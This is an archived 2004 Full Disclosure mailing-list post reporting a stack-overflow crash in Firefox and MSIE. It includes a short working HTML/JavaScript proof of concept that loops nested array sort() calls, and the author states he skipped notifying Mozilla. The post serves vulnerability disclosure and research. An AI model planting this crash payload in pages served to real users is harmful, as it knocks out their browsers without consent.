Full Disclosure mailing list archives

FIREFOX flaws: nested array sort() loop Stack overflow exception

From: "Berend-Jan Wever" <skylined () edup tudelft nl>
Date: Thu, 25 Nov 2004 02:04:44 +0100

Hi all,

Same flaw works for Firefox as well as MSIE:

<HTML>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
  <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

Added to the list: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html

I'd have loved to CC mozilla about this, but I didn't have the time to do the crash course "how to write a bug report" 
and go through all that bugzilla crap.

Cheers,
SkyLined
http://www.edup.tudelft.nl/~bjwever




_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Current thread:

FIREFOX flaws: nested array sort() loop Stack overflow exception Berend-Jan Wever (Nov 25)
- More Browser flaws on MACOSX: nested array sort() loop Stack overflow exception Marco Mella (Nov 25)
- Re: FIREFOX flaws: nested array sort() loop Stack overflow exception James Tait (Nov 25)
- Re: FIREFOX flaws: nested array sort() loop Stack overflow exception Gadi Evron (Nov 25)
  - To anybody who's offended by my disclosure policy Berend-Jan Wever (Nov 25)
    - Re: To anybody who's offended by my disclosure policy Gadi Evron (Nov 25)
    - Re: To anybody who's offended by my disclosure policy kf_lists (Nov 27)
    - Re: To anybody who's offended by my disclosure policy Gadi Evron (Nov 27)
    - Re: To anybody who's offended by my disclosure policy kf_lists (Nov 27)
    - Re: To anybody who's offended by my disclosure policy Gadi Evron (Nov 27)
    - Re: To anybody who's offended by my disclosure policy JxT (Nov 27)

(Thread continues...)